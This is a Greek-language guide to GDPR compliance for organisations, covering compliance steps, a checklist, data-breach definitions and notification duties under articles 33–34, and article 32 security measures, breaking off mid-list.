Τα βήματα συμμόρφωσης Οργανισμών - επιχειρήσεων στον Κανονισμό προστασίας προσωπικών δεδομένων Τα βήματα συμμόρφωσης Οργανισμών και Επιχειρήσεων στον Νέο Κανονισμό είναι: 1. Ενημέρωση προσωπικού 2. Χαρτογράφηση Δεδομένων & Ροών Δεδομένων 3. Έλεγχος – Επιθεώρηση Πληροφοριακών και Νομικών Συστημάτων 4. Εκτίμηση Αντικτύπου Προσωπικών Δεδομένων 5. Σχεδιασμός και Υλοποίηση Τεχνικών και Οργανωτικών 6. Εκπαίδευση 7. Επιθεώρηση Προγράμματος Συμμόρφωσης 8. Ορισμός DPO

1. Ενημέρωση – Ετοιμότητα Ενημερώστε το ανθρώπινο δυναμικό του οργανισμού σας για τις επερχόμενες μεταβολές, υπογραμμίζοντας τις σημαντικές επιπτώσεις σε περίπτωση παραβιάσεων. Κάντε μία πρώτη αποτίμηση σημαντικών «ελλείψεων». Αξιολογήστε τους πιθανούς κινδύνους για τα ΠΔ που συλλέγετε και επεξεργάζεστε. Διαμορφώστε στρατηγική αντιμετώπισης των πιθανών κινδύνων με τεχνικά και οργανωτικά μέτρα.

2. Καταγραφή Αναγνωρίστε της δραστηριότητες Αρχείο εγγράφων, αρχείο προσωπικού, αρχείο πελατών , αρχεία από

ηλεκτρονικές

εφαρμογές, αρχεία επαφών για επικοινωνιακούς σκοπούς, αρχεία για σκοπούς ασφάλειας (π.χ. υλικό καμερών, καταγραφής προσβάσεων σε διαδικτυακές υπηρεσίες) κτλ. Διαχωρισμός ανά σκοπό επεξεργασίας Οφείλετε να τηρείτε ειδικά αρχεία επεξεργασιών; Αν ναι, καταγράψτε ενδελεχώς τα δεδομένα που τηρείτε και μεταβιβάζετε, τις επεξεργασίες στις οποίες προβαίνετε, τον σκοπό τους και τη νομική βάση.

3. Έλεγχος τήρησης της Συμμόρφωσης Για κάθε έναν από τους σκοπούς επεξεργασίας: •

Είναι ο σκοπός σαφής;

•

Γίνεται επεξεργασία μόνο στο πλαίσιο αυτού του σκοπού;

•

Πώς έχουν ληφθεί τα δεδομένα;

•

Είναι τα απολύτως απαραίτητα δεδομένα για τον εν λόγω σκοπό;

•

Πόσος χρόνος απαιτείται για την επεξεργασία των δεδομένων;

•

Πόσο ασφαλής είναι η τήρηση και περαιτέρω επεξεργασία των δεδομένων;

Εξετάζετε συνεχώς αν κατά την επεξεργασία των δεδομένων τηρούνται οι αρχές που διέπουν τη νόμιμη επεξεργασία των δεδομένων και αν γίνονται σεβαστά τα δικαιώματα των υποκειμένων.

4. Έλεγχος της συγκατάθεσης Εξετάστε τις μεθόδους για εξασφάλιση συγκατάθεσης για κάθε επιδιωκόμενο σκοπό επεξεργασίας. Ο ΥΕ πρέπει να μπορεί να αποδείξει ότι έχει λάβει τη συγκατάθεση των προσώπων.

5. Αναθεώρηση Πολιτικών Προστάσιας Δεδομένων και Διαδικασιών Η υποχρέωση ενημέρωσης «διευρύνεται». Αλλαγή πολιτικής προστασίας δεδομένων και ενημερωτικών εντύπων. Επικαιροποιήστε τις διαδικασίες για τον χειρισμό των αιτημάτων και την ικανοποίηση των δικαιωμάτων των πολιτών, ιδίως ως προς τη διαγραφή δεδομένων (δικαίωμα στη λήθη) ή την παροχή τους σε αναγνώσιμο ηλεκτρονικό μορφότυπο (φορητότητα δεδομένων).

6. Εκτίμηση Επιπτώσεων

Υπάρχει υποχρέωση εκπόνησης εκτίμησης αντικτύπου ως προς την προστασία δεδομένων (DPIA); Θα πρέπει να είστε σε θέση να εκτιμήσετε τις πιθανότητες επέλευσης κινδύνων και τις συνέπειες στα προσωπικά δεδομένα. Σε κάθε περίπτωση, αν μετά την εφαρμογή των μέτρων παραμένει υψηλός κίνδυνος για την προστασία δεδομένων, προβλέπεται διαβούλευση με την Αρχή.

7. Υπεύθυνος Προστασίας Ανάλογα με τη δραστηριότητα που ασκείτε, εξετάστε αν χρειάζεται να ορίσετε «υπεύθυνο προστασίας δεδομένων».Υιοθετήστε κατάλληλα τεχνικά και οργανωτικά μέτρα για την ασφαλή επεξεργασία των προσωπικών δεδομένων.

8. Παραβίαση Δεδομένων Υιοθετήστε κατάλληλα τεχνικά και οργανωτικά μέτρα για την ασφαλή επεξεργασία των προσωπικών δεδομένων. Υιοθετήστε μεθόδους για την ανίχνευση, την καταγραφή και τη διερεύνηση περιστατικών παραβιάσεων. Γνωστοποίηση του περιστατικού στην ΑΠΔΠΧ. Ενημέρωση των προσώπων που αφορά το περιστατικό, όταν αυτό ενδέχεται να θέσει σε υψηλό κίνδυνο τα δικαιώματα και τις ελευθερίες τους. Χωρίς καθυστέρηση ενημέρωση του υπεύθυνου επεξεργασίας για το περιστατικό. Συνδρομή στον υπεύθυνο επεξεργασίας.

9. Δραστηριότητα σε περισσότερα Κράτη Μέλη Στην περίπτωση αυτή πρέπει να προτείνετε το κράτος της κύριας εγκατάστασής σας. Η Αρχή αυτού του Κράτους-Μέλους είναι η επικεφαλής εποπτική Αρχή, με την οποία «συνομιλεί» ο φορέας.

Αν διαβιβάζετε δεδομένα και σε τρίτες χώρες, επιλέξτε κάποιο μηχανισμό διαβίβασης, όπως δεσμευτικούς εταιρικούς κανόνες , τυποποιημένες συμβατικές ρήτρες , πιστοποιήσεις στο Privacy Shield (για τις ΗΠΑ).

10. Διαβίβαση Δεδομένων εκτός ΕΕ Αν διαβιβάζετε δεδομένα και σε τρίτες χώρες, επιλέξτε κάποιο μηχανισμό διαβίβασης, όπως δεσμευτικούς εταιρικούς κανόνες (BCRs), τυποποιημένες συμβατικές ρήτρες (SCCs), πιστοποιήσεις στο Privacy Shield (για τις ΗΠΑ).

Λίστα Ελέγχου συμμόρφωσης με Κανονισμός Δεδομένων 1. Αντίληψη του οργανισμού ότι η προστασία των προσωπικών δεδομένων είναι ευθύνη της Διοίκησης π.χ. Με την ύπαρξη πολιτικών/κανόνων για την επεξεργασία προσωπικών δεδομένων Με την αντίληψη των κινδύνων που ενέχει η επεξεργασία 2. Ορισμός ΥΠΔ •

OXI Γιατί δεν έχει οριστεί;

•

Αν έχει οριστεί, είναι ξεκάθαρος ο ρόλος του; Έχουν δηλωθεί τα στοιχεία επικοινωνίας του στην Αρχή προστασίας Δεδομένων;

3. Έλεγχος των προσωπικών δεδομένων που τυγχάνουν επεξεργασίας: •

είναι σύμφωνα με το σκοπό για τον οποίο έχουν αρχικά συλλεχθεί;

•

είναι μόνο τα απαραίτητα;

•

είναι ορθά και ενημερωμένα;

•

διατηρούνται μόνο για όσο χρονικό διάστημα είναι απολύτως απαραίτητα;

•

λαμβάνονται τα κατάλληλα οργανωτικά και τεχνικά μέτρα ασφάλειας και προστασίας τους;

•

αυτά τα μέτρα αναθεωρούνται τακτικά για να λαμβάνουν υπόψη τις νέες τεχνολογικές εξελίξεις;

•

σε κάποια τουλάχιστον μέρη της επεξεργασίας, αντί να χρησιμοποιηθούν πραγματικά δεδομένα, θα μπορούσε να χρησιμοποιηθεί κρυπτογράφηση ή ψευδωνυμοποίηση;

4. Κατάρτιση διαδικασιών για τήρηση Αρχείου Δραστηριοτήτων της επεξεργασίας. 5. Κατάρτιση εργαλείων και διαδικασιών που διασφαλίζουν ότι στη φάση σχεδιασμού του έργου/παροχής της υπηρεσίας:

•

συλλέγονται μόνο τα δεδομένα που είναι απαραίτητα για το συγκεκριμένο σκοπό που επιδιώκεται

•

αποφασίζεται το χρονικό διάστημα διατήρησης και τα οργανωτικά και τεχνικά μέτρα ασφάλειας

•

η προστασία των προσωπικών δεδομένων αποτελεί αναπόσπαστο μέρος της διαδικασίας ανάπτυξης του έργου/παροχής της υπηρεσίας.

6. Εκπαίδευση και ευαισθητοποίηση του προσωπικού: όσοι επεξεργάζονται προσωπικά δεδομένα μέσα στον οργανισμό γνωρίζουν πότε υπάρχει παραβίαση προσωπικών δεδομένων; 7. Υιοθέτηση: •

εσωτερικής διαδικασίας αναφοράς της παραβίασης

•

εσωτερικού «πλάνου ανταπόκρισης» (response plan) σε περίπτωση παραβίασης διαδικασία γνωστοποίησης ενδεχόμενης παράβασης στην Αρχή προστασίας Δεδομένων, εντός 72 ωρών

8. Σύναψη συμφωνίας μεταξύ 2 υπεύθυνων επεξεργασίας, σε περίπτωση που δύο ή περισσότεροι υπεύθυνοι επεξεργασίας καθορίζουν από κοινού τους σκοπούς και τα μέσα της επεξεργασίας. 9. Αναθεώρηση των συμβολαίων/συμβάσεων που συνάπτονται με πελάτες, προμηθευτές, υπαλλήλους, εκτελούντες την επεξεργασία (βλ. άρθρο 28 του Κανονισμού για το τι πρέπει να περιλαμβάνει μία σύμβαση ανάθεσης εργασίας σε εκτελούντα) •

Τι γίνονται τα δεδομένα μετά τη λήξη της σύμβασης με τον εκτελούντα;

10. Διενέργεια εκτίμησης αντικτύπου εάν η επεξεργασία ενέχει υψηλό κίνδυνο / ρίσκο στα δικαιώματα, ελευθερίες και συμφέροντα των ατόμων: •

έχει υιοθετηθεί μέθοδος που να αναγνωρίζει εάν

•

υπάρχει υψηλός κίνδυνος;

•

έχει επιλεγεί διαδικασία για διενέργεια ΕΑ;

•

έχει

υιοθετηθεί

πολιτική

με

προκαθορισμένη

διαδικασία

για

αντιμετώπιση του υψηλού κινδύνου; Σε περίπτωση διασυνοριακής επεξεργασίας, εντός της ΕΕ, ορισμός του κμ της κύριας εγκατάστασης, του οποίου η εποπτεύουσα αρχή θα είναι αρμόδια ως επικεφαλής αρχή, για την εποπτεία της νομιμότητας της επεξεργασίας εντός της Ε.Ε.. Αξιολόγηση των συγκαταθέσεων των υποκειμένων, εάν ανταποκρίνονται στις διατάξεις του άρθρου 5 του Κανονισμού. Μπορεί πράγματι να αποδειχθεί ότι έχει δοθεί συγκατάθεση;

Υιοθέτηση των απαιτήσεων διαφόρων άρθρων 1. Υιοθέτηση των απαιτήσεων του άρθρου 32 (ασφάλεια): •

Έχουν αντικατασταθεί οι υφιστάμενες λίστες ελέγχου που αφορούν στους κινδύνους της επεξεργασίας λαμβάνοντας υπόψη τη φύση, πεδίο εφαρμογής, περιεχόμενο και σκοπό της επεξεργασίας;

•

Έχει υιοθετηθεί σύστημα διοίκησης για τακτική αναθεώρηση, αξιολόγηση και βελτίωση των μέτρων ασφάλειας;

•

Έχουν ληφθεί μέτρα π.χ. ψευδωνυμοποίηση και κρυπτογράφηση για προστασία από παράνομη επεξεργασία από εσωτερικούς και εξωτερικούς εισβολείς;

2. Αναθεώρηση των εντύπων που δίνονται στα υποκείμενα με τα οποία ενημερώνονται για τις πληροφορίες που προβλέπονται στα άρθρα 13 και 14. Για παράδειγμα: •

στοιχεία επικοινωνίας του ΥΠΔ

•

νομική βάση για την επεξεργασία

•

νομική βάση για διαβίβαση σε τρίτη χώρα (εάν ισχύει)

•

χρονικό διάστημα διατήρησης των δεδομένων

•

τα δικαιώματα που μπορούν να ασκήσουν

3. Αναθεώρηση των εντύπων που δίνονται στα υποκείμενα με τα οποία ενημερώνονται για τις πληροφορίες που προβλέπονται στα άρθρα 13 και 14. Για παράδειγμα: •

δικαίωμα υποβολής παραπόνου στην Αρχή προστασίας

•

σε περίπτωση που η συγκατάθεση είναι η νομική βάση της επεξεργασίας, να γνωρίζουν ότι μπορούν να την ανακαλέσουν ανά πάσα στιγμή

•

Σε περίπτωση αυτοματοποιημένης λήψης απόφασης (π.χ. κατάρτιση προφίλ), τη λογική, σημασία και επιπτώσεις τέτοιας επεξεργασίας στο υποκείμενο

•

Σε περίπτωση συλλογής των δεδομένων, όχι από το ίδιο το υποκείμενο, την πηγή/προέλευση τους

4. Εφαρμογή διαδικασιών για ικανοποίηση των δικαιωμάτων των υποκειμένων π.χ φορητότητα των δεδομένων 5. Πριν το κλείσιμο λογαριασμού ενός ατόμου, να δίνεται το δικαίωμα στο άτομο να ασκήσει το δικαίωμα στη φορητότητα των δεδομένων του.

Παραβίαση (ασφάλειας) Δεδομένων (Data Breach) - Σχετικές Υποχρεώσεις - Μελέτες Περίπτωσης Τι είναι η παραβίαση δεδομένων; Η παραβίαση της ασφάλειας που οδηγεί σε τυχαία ή παράνομη καταστροφή, απώλεια, μεταβολή, άνευ άδειας κοινολόγηση ή πρόσβαση δεδομένων προσωπικού χαρακτήρα που διαβιβάστηκαν, αποθηκεύτηκαν ή υποβλήθηκαν κατ' άλλο τρόπο σε επεξεργασία. [Άρθρο 4 (12) ΓΚΠΔ].

Διευκρινήσεις (ΟΕ αρ. 29) •

"καταστροφή": δεν υπάρχουν πλέον τα δεδομένα ή δεν υπάρχουν σε μια μορφή που είναι χρήσιμη για τον ΥΕ.

•

"ζημιά": τα δεδομένα έχουν αλλοιωθεί, επηρεασθεί ή δεν είναι πλέον πλήρης.

•

"απώλεια»: τα δεδομένα ενδέχεται να υπάρχουν, αλλά ο ΥΕ έχει χάσει τον έλεγχο ή την πρόσβαση σε αυτά ή δεν τα έχει πλέον στην κατοχή του

Μη εξουσιοδοτημένη ή παράνομη επεξεργασία

Μη εξουσιοδοτημένη ή παράνομη επεξεργασία μπορεί να περιλαμβάνει την αποκάλυψη δεδομένων προσωπικού χαρακτήρα προς (ή πρόσβαση από) παραλήπτες που δεν έχουν εξουσιοδοτηθεί να λαμβάνουν (ή να αποκτούν πρόσβαση) τα δεδομένα ή οποιαδήποτε άλλη μορφή επεξεργασίας που παραβιάζει τον Κανονισμό.

Σύμφωνα με την Ευρωπαϊκή Επιτροπή, παραβίαση δεδομένων επέρχεται όταν σημειώνεται συμβάν ασφαλείας σε σχέση με τα δεδομένα για τα οποία ευθύνεται μία εταιρεία ή ένας οργανισμός, το οποίο έχει ως αποτέλεσμα την παραβίαση του απορρήτου, της διαθεσιμότητας ή της ακεραιότητας.

Γενικές απαιτήσεις 1. Διαθεσιμότητα (availability): τα δεδομένα είναι προσβάσιμα και οι υπηρεσίες λειτουργούν.

2. Ακεραιότητα (integrity): Επιβεβαίωση ότι τα δεδομένα που έχουν αποσταλεί, παραληφθεί η αποθηκευθεί είναι πλήρη και δεν έχουν υποστεί αλλοίωση. 3. Εμπιστευτικότητα (confidentiality): Προστασία των δεδομένων που τηρούνται από μη εξουσιοδοτημένη πρόσβαση, είτε κατά τη διακίνησή τους στο δίκτυο, είτε κατά την αποθήκευση και επεξεργασία τους. Κατηγορίες παραβιάσεων •

Παραβίαση εμπιστευτικότητας: μη εξουσιοδοτημένη ή τυχαία αποκάλυψη ή πρόσβαση σε προσωπικά δεδομένα

•

Παραβίαση ακεραιότητας: μη εξουσιοδοτημένη ή τυχαία αλλοίωση των προσωπικών δεδομένων.

•

Παραβίαση διαθεσιμότητας: τυχαία ή μη εξουσιοδοτημένη απώλεια πρόσβασης ή καταστροφή προσωπικών δεδομένων

Γνωστοποίηση παραβίασης ασφάλειας (άρθρο 33-34 ΓΚΠΔ) •

Εισαγωγή της υποχρέωσης κοινοποίησης παραβιάσεων (ασφαλείας) προσωπικών δεδομένων, ως υποχρέωση του ΥΕ.

•

Γενίκευση της υποχρέωσης γνωστοποίησης παραβίασης ασφάλειας.

•

Δημοσιότητα ως προληπτικός μηχανισμός συμμόρφωσης.

Αμελλητί και, αν είναι δυνατό, εντός 72 ωρών από τη στιγμή που αποκτά γνώση. •

Φύση παραβίασης / κατηγορίες – κατά προσέγγιση αριθμό θιγομένων / κατηγορίες – κατά προσέγγιση αριθμό αρχείων / στοιχεία επικοινωνίας / ενδεχόμενες συνέπειες παραβίασης / ληφθέντα - προτεινόμενα μέτρα για αντιμετώπιση – άμβλυνση επιπτώσεων

Δεν απαιτείται γνωστοποίηση •

Εάν η παραβίαση δεδομένων προσωπικού χαρακτήρα δεν ενδέχεται να προκαλέσει κίνδυνο για τα δικαιώματα και τις ελευθερίες, δεν απαιτείται γνωστοποίηση

•

Υποχρέωση τεκμηρίωσης παραβίασης μέσω της τήρησης ενός –εσωτερικού αρχείου, ώστε να είναι δυνατός ο έλεγχος της συμμόρφωσης.

•

Εφόσον η γνωστοποίηση λάβει χώρα ύστερα από την πάροδο 72 ωρών, απαιτείται αιτιολόγηση.

Περιεχόμενο Γνωστοποίησης 1. Περιγράφει τη φύση της παραβίασης δεδομένων προσωπικού χαρακτήρα, συμπεριλαμβανομένων, όπου είναι δυνατό, των κατηγοριών και του κατά προσέγγιση αριθμού των επηρεαζόμενων υποκειμένων των δεδομένων, καθώς και των κατηγοριών και του κατά προσέγγιση αριθμού των επηρεαζόμενων αρχείων δεδομένων προσωπικού χαρακτήρα 2. Ανακοινώνει το όνομα και τα στοιχεία επικοινωνίας του υπευθύνου προστασίας δεδομένων ή άλλου σημείου επικοινωνίας από το οποίο μπορούν να ληφθούν περισσότερες πληροφορίες •

Περιγράφει τις ενδεχόμενες συνέπειες της παραβίασης των δεδομένων προσωπικού χαρακτήρα.

•

Περιγράφει τα ληφθέντα ή τα προτεινόμενα προς λήψη μέτρα από τον υπεύθυνο επεξεργασίας για την αντιμετώπιση της παραβίασης των δεδομένων προσωπικού χαρακτήρα, καθώς και, όπου ενδείκνυται, μέτρα για την άμβλυνση ενδεχόμενων δυσμενών συνεπειών της

3. Όπου δεν είναι διαθέσιμες ακριβείς πληροφορίες (π.χ. ακριβής αριθμός προσώπων που επηρεάζονται από το θέμα), αυτό θα πρέπει να αποτελεί εμπόδιο για την έγκαιρη κοινοποίηση της παραβίασης. •

Ο Κανονισμός επιτρέπει να γίνουν προσεγγίσεις σχετικά με τον αριθμό των ατόμων που θίγονται και τον αριθμό των αρχείων δεδομένων προσωπικού χαρακτήρα, καθώς το κύριο μέλημα πρέπει να είναι η αντιμετώπιση των αρνητικών επιπτώσεων της παραβίασης παρά η ακριβείς καταγραφή.

•

Όταν υπάρξει παραβίαση, αλλά η έκταση αυτής δεν είναι ακόμη γνωστή, η κοινοποίηση σε φάσεις αποτελεί έναν ασφαλή τρόπο για την εκπλήρωση των υποχρεώσεων κοινοποίησης.

4. Σε περίπτωση που και εφόσον δεν είναι δυνατόν να παρασχεθούν οι πληροφορίες ταυτόχρονα , μπορούν να παρέχονται σταδιακά χωρίς αδικαιολόγητη καθυστέρηση. •

Ο

Κανονισμός αναγνωρίζει ότι οι ΥΕ δεν θα έχουν πάντοτε όλα τις

απαραίτητες πληροφορίες σχετικά με την παραβίαση εντός 72 ωρών. •

Αυτό είναι πιθανότερο να συμβαίνει για πιο πολύπλοκες παραβιάσεις, οπότε ο ΥΕ θα πρέπει να κάνει περισσότερες έρευνες και να γνωστοποιεί τις πρόσθετες πληροφορίες σε μεταγενέστερο στάδιο.

•

Ο ΥΕ θα πρέπει να ενημερώνει ην εποπτική αρχή, ότι θα παράσχει μελλοντικά περισσότερες λεπτομέρειες.

•

Ο ΥΕ θα πρέπει να αιτιολογεί την καθυστέρηση, σύμφωνα με το άρθρο 33 παράγραφος 1.

5. Θα πρέπει επίσης να είναι σαφές ότι μετά από την πρώτη ειδοποίηση, ο ΥΕ θα μπορούσε να ενημερώσει την εποπτική αρχή εάν η έρευνα του αποκαλύψει ότι τελικά δεν σημειώθηκε καμία παραβίαση. •

Αυτές οι πληροφορίες μπορούν να προστεθούν στις πληροφορίες που έχουν ήδη δοθεί στην εποπτική αρχή και το περιστατικό να καταγραφεί ως μη παραβίαση.

•

Δεν υπάρχει ποινή για την αναφορά περιστατικού που τελικά δεν αποτελεί παραβίαση.

Παράδειγμα

Ένας ΥΕ ειδοποιεί την εποπτική αρχή εντός 72 ωρών για παραβίαση, καθώς έχει χάσει το USB που περιέχει αντίγραφο των προσωπικών δεδομένων ορισμένων πελατών του. Το USB εντοπίζεται αργότερα εντός των εγκαταστάσεων του ΥΕ. Ο ΥΕ ενημερώνει την εποπτική αρχή καιζητεί την τροποποίηση της κοινοποίησης.

Εκπρόθεσμες γνωστοποιήσεις Το άρθρο 33 παράγραφος 1 καθιστά σαφές ότι όταν η κοινοποίηση προς την εποπτική αρχή δεν πραγματοποιείται εντός 72 ωρών, συνοδεύεται από λόγους καθυστέρησης. Παράδειγμα, ένας ΥΕ αντιμετωπίζει πολλαπλές παρόμοιες παραβιάσεις σε σύντομο χρονικό διάστημα, επηρεάζοντας μεγάλο αριθμό υποκειμένων των δεδομένων με τον ίδιο τρόπο.

Τεκμηρίωση (άρθρο 33 παρ. 5) Ο υπεύθυνος επεξεργασίας τεκμηριώνει κάθε παραβίαση δεδομένων προσωπικού χαρακτήρα, που συνίστανται στα πραγματικά περιστατικά που αφορούν την παραβίαση

δεδομένων προσωπικού χαρακτήρα, τις συνέπειες και τα ληφθέντα διορθωτικά μέτρα. Η εν λόγω τεκμηρίωση επιτρέπει στην εποπτική αρχή να επαληθεύει τη συμμόρφωση.

Γνωστοποίηση παραβίασης ασφάλειας Η γνωστοποίηση ενισχύει την θέση των προσώπων καθώς θα πρέπει να συνοδεύεται από συστάσεις προς τα πρόσωπα που θίγονται για τα μέτρα που αυτά θα πρέπει να λάβουν για τον μετριασμό των δυσμενών συνεπειών (αιτ. σκ. 86) Θεωρείται ότι ο φόβος από τις συνέπειες μιας τέτοιας «αποκάλυψης» ως προς τη φήμη του οργανισμού θα ωθήσει τους ΥΕ σε μια συνεπέστερη αξιολόγηση κινδύνων – θα ενισχύσει το επίπεδο ασφαλείας αλλά και τη γενικότερη συμμόρφωση προς τη νομοθεσία. Σύμφωνα με τις ανανεωμένες κατευθυντήριες γραμμές της ΟΕ του αρ. 29 «ο εκτελών την επεξεργασία πρέπει απλώς να διαπιστώσει εάν έχει σημειωθεί παραβίαση και στη συνέχεια να ειδοποιήσει τον υπεύθυνο επεξεργασίας. Ο υπεύθυνος επεξεργασίας χρησιμοποιεί τον εκτελούντα την επεξεργασία για να επιτύχει τους σκοπούς του: συνεπώς, κατ 'αρχήν, ο υπεύθυνος επεξεργασίας πρέπει να θεωρείται "ενήμερος" τη στιγμή που ο εκτελών τον ενημερώσει σχετικά με την παραβίαση». Η νέα αυτή διατύπωση της ΟΕ του αρ. 29 έχει σημαντικές επιπτώσεις σε σχέση με το χρονικό σημείο από όπου αρχίζουν να υπολογίζεται η προθεσμία των 72 ωρών για τη γνωστοποίηση στην εποπτική αρχή.

Ανακοίνωση παραβίασης δεδομένων προσωπικού χαρακτήρα στο υποκείμενο των δεδομένων Άρθρο 34 ΓΚΠΔ Αμελλητί ανακοίνωση παραβίασης όταν ενδέχεται να θέσει σε υψηλό κίνδυνο τα δικαιώματα και τις ελευθερίες (περιγραφή φύσης παραβίασης, συνέπειες, μέτρα κλπ.) προκειμένου να του επιτραπεί να λάβει τις αναγκαίες προφυλάξεις. Περιέχει συστάσεις προς το ενδιαφερόμενο φυσικό πρόσωπο για τον μετριασμό δυνητικών δυσμενών συνεπειών. Οι ανακοινώσεις αυτές στα υποκείμενα των δεδομένων θα πρέπει να πραγματοποιούνται το συντομότερο δυνατόν, σε στενή συνεργασία με την ελεγκτική αρχή, τηρώντας την καθοδήγηση που παρέχεται από αυτήν ή άλλες σχετικές αρχές, όπως αρχές επιβολής του νόμου. Η ανακοίνωση στο υποκείμενο των δεδομένων δεν απαιτείται, εάν πληρείται οποιαδήποτε από τις ακόλουθες προϋποθέσεις:

1. (α) ο υπεύθυνος επεξεργασίας εφάρμοσε κατάλληλα τεχνικά και οργανωτικά μέτρα προστασίας, και τα μέτρα αυτά εφαρμόστηκαν στα επηρεαζόμενα από την παραβίαση δεδομένα προσωπικού χαρακτήρα, κυρίως μέτρα που καθιστούν μη κατανοητά τα δεδομένα προσωπικού χαρακτήρα σε όσους δεν διαθέτουν άδεια πρόσβασης σε αυτά, όπως η κρυπτογράφηση. 2. (β) ο υπεύθυνος επεξεργασίας έλαβε στη συνέχεια μέτρα που διασφαλίζουν ότι δεν είναι πλέον πιθανό να προκύψει ο υψηλός κίνδυνος για τα δικαιώματα και τις ελευθερίες των υποκειμένων των δεδομένων. 3. (γ) προϋποθέτει δυσανάλογες προσπάθειες. Στην περίπτωση αυτή, γίνεται αντ’ αυτής δημόσια ανακοίνωση ή υπάρχει παρόμοιο μέτρο με το οποίο τα υποκείμενα των δεδομένων ενημερώνονται με εξίσου αποτελεσματικό τρόπο. 4. Όταν γνωστοποιούν την παραβίαση στην εποπτική αρχή, οι υπεύθυνοι επεξεργασίας μπορούν να λαμβάνουν συμβουλές και καθοδήγηση σχετικά με το εάν τα πρόσωπα, τα δεδομένα των οποίων έχουν παραβιαστεί, θα πρέπει να ενημερωθούν.

5. Εάν ο υπεύθυνος επεξεργασίας δεν έχει ήδη ανακοινώσει την παραβίαση των δεδομένων προσωπικού χαρακτήρα στο υποκείμενο των δεδομένων, η εποπτική αρχή μπορεί: •

έχοντας εξετάσει την πιθανότητα επέλευσης υψηλού κινδύνου από την παραβίαση των δεδομένων προσωπικού χαρακτήρα,

•

να του ζητήσει να το πράξει,

•

ή μπορεί να αποφασίσει ότι πληρούται οποιαδήποτε από τις προϋποθέσεις που αναφέρθηκαν νωρίτερα.

Παραβίαση διαθεσιμότητας Παραδείγματα απώλειας διαθεσιμότητας: •

όταν τα δεδομένα έχουν διαγραφεί είτε κατά λάθος είτε από ένα μη εξουσιοδοτημένο πρόσωπο

•

στο παράδειγμα κρυπτογραφημένων δεδομένων, το κλειδί αποκρυπτογράφησης να έχει χαθεί.

•

Ο ΥΕ δεν μπορεί να επαναφέρει την πρόσβαση στα δεδομένα, για παράδειγμα, από ένα αντίγραφο ασφαλείας, τότε αυτό θεωρείται ως μόνιμη απώλεια διαθεσιμότητας.

•

Μια απώλεια διαθεσιμότητας μπορεί επίσης να συμβεί όταν υπάρχει διακοπή της παροχής υπηρεσιών για μεγάλο χρονικό διάστημα όπως για παράδειγμα, διακοπή ρεύματος ή επίθεση άρνησης παροχής υπηρεσιών.

Συνέπειες παραβίασης Διαθεσιμότητας 1. Η παραβίαση δεδομένων προσωπικού χαρακτήρα μπορεί, εάν δεν αντιμετωπιστεί κατάλληλα και έγκαιρα, να έχει ως αποτέλεσμα: •

σωματική, υλική ή μη υλική βλάβη για φυσικά πρόσωπα,

•

όπως απώλεια του ελέγχου επί των δεδομένων τους προσωπικού χαρακτήρα

•

ή ο περιορισμός των δικαιωμάτων τους, διακρίσεις, κατάχρηση ή υποκλοπή ταυτότητας,

•

οικονομική απώλεια,

•

παράνομη άρση της ψευδωνυμοποίησης,

•

βλάβη της φήμης,

•

απώλεια της εμπιστευτικότητας των δεδομένων προσωπικού χαρακτήρα που προστατεύονται από επαγγελματικό απόρρητο

•

ή άλλο σημαντικό οικονομικό ή κοινωνικό μειονέκτημα για το ενδιαφερόμενο φυσικό πρόσωπο.

2. Μια προσωρινή απώλεια διαθεσιμότητας δεδομένων θεωρείται παραβίαση και, εάν ναι, πρέπει να κοινοποιηθεί; Στο άρθρο 32 του ΓΚΠΔ GDPR, εξηγεί ότι κατά την εφαρμογή τεχνικών και οργανωτικών μέτρων για να εξασφαλιστεί ένα επίπεδο της ασφάλειας, πρέπει να εξεταστεί, μεταξύ άλλων, η « δυνατότητα διασφάλισης του απορρήτου , της ακεραιότητας, της διαθεσιμότητας και της αξιοπιστίας των συστημάτων και των υπηρεσιών επεξεργασίας σε συνεχή βάση » και « η δυνατότητα αποκατάστασης της διαθεσιμότητας και της πρόσβασης σε δεδομένα προσωπικού χαρακτήρα σε εύθετο χρόνο σε περίπτωση φυσικού ή τεχνικού συμβάντος ». 3. Επομένως, ένα περιστατικό ασφαλείας το οποίο έχει ως αποτέλεσμα να μην είναι διαθέσιμα τα προσωπικά δεδομένα για ένα χρονικό διάστημα είναι ένα είδος

παραβίασης, καθώς η έλλειψη πρόσβασης στα δεδομένα μπορεί να έχει σημαντικό αντίκτυπο στα δικαιώματα και ελευθερίες των φυσικών προσώπων. •

Όταν τα προσωπικά δεδομένα δεν είναι διαθέσιμα λόγω προγραμματισμένης συντήρησης του συστήματος δεν θεωρείται «παραβίαση της ασφάλειας».

4. Όπως και με μόνιμη απώλεια ή καταστροφή προσωπικών δεδομένων, η παραβίαση που συνεπάγεται προσωρινή απώλεια διαθεσιμότητας πρέπει να τεκμηριώνεται σύμφωνα με το άρθρο 33 παράγραφος 5. •

Αυτό βοηθά τον ΥΕ στην απόδειξη της ευθύνης έναντι της εποπτικής αρχής, η οποία μπορεί να ζητήσει να δει αυτά τα αρχεία.

•

Ανάλογα με τις περιστάσεις της παραβίασης, μπορεί να απαιτηθεί κοινοποίηση στην εποπτική αρχή και επικοινωνία με τα ενδιαφερόμενα άτομα.

5. Ο ΥΕ θα πρέπει να αξιολογήσει την πιθανότητα και τη σοβαρότητα των επιπτώσεων στα δικαιώματα και τις ελευθερίες των φυσικών προσώπων ως αποτέλεσμα της έλλειψης διαθεσιμότητας δεδομένων. Σύμφωνα με το άρθρο 33, ο ΥΕ θα πρέπει να ειδοποιήσει, εκτός εάν η παράβαση είναι απίθανο να προκαλέσει κίνδυνο για τα δικαιώματα των ατόμων και τις ελευθερίες.

Ασφάλεια επεξεργασίας (Άρθρο 32) Λαμβάνοντας υπόψη τις τελευταίες εξελίξεις, το κόστος εφαρμογής και τη φύση, το πεδίο εφαρμογής, το πλαίσιο και τους σκοπούς της επεξεργασίας, καθώς και τους κινδύνους διαφορετικής πιθανότητας επέλευσης και σοβαρότητας για τα δικαιώματα και τις ελευθερίες των φυσικών προσώπων, ο ΥΕ και ο ΕΕ εφαρμόζουν κατάλληλα τεχνικά και οργανωτικά μέτρα: α) της ψευδωνυμοποίησης και της κρυπτογράφησης β) της

δυνατότητας

διασφάλισης

του

απορρήτου,

της

ακεραιότητας,

της

διαθεσιμότητας και της αξιοπιστίας των συστημάτων και των υπηρεσιών επεξεργασίας σε συνεχή βάση, γ) της δυνατότητας αποκατάστασης της διαθεσιμότητας και της πρόσβασης σε δεδομένα προσωπικού χαρακτήρα σε εύθετο χρόνο σε περίπτωση φυσικού ή τεχνικού συμβάντος, δ) διαδικασίας

για

την

τακτική

